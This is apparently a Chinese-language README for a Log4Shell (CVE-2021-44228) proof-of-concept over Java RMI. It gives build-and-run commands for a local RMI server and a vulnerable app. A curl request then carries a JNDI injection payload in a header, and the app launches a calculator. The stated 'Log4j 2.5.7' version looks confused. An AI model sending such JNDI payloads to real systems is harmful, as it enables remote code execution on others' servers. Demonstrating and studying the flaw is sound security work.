
Log4j漏洞(CVE-2021-44228)在Java-RMI上的概念验证
一个利用Java-RMI对Log4j漏洞(CVE-2021-44228)的概念验证
它使用了来自spring-boot-starter-log4j2的Log4j 2.5.7
已在Java 8(JDK 1.8.0_25)和Java 11(JDK 11.0.1)上测试
git clone https://github.com/Labout/log4shell-rmi-poc.git
cd Log4jshell_rmi_server
./mvnw clean package
java -jar target/Log4jshell.rmi.server-0.0.1-SNAPSHOT.jar
你应该会得到类似这样的结果:

在一个新的终端中
cd vulnerabel_log4j_app
./mvnw clean package
java -jar target/vulnerabel_log4j_app-0.0.1-SNAPSHOT.jar
curl 'http://localhost:8080/hello' --header 'Accept-Version: ${jndi:rmi://127.0.0.1:1099/ExecByEL}'
正如你所见,存在漏洞的应用程序调用了计算器应用。

https://www.cisecurity.org/log4j-zero-day-vulnerability-response/
https://www.lunasec.io/docs/blog/log4j-zero-day/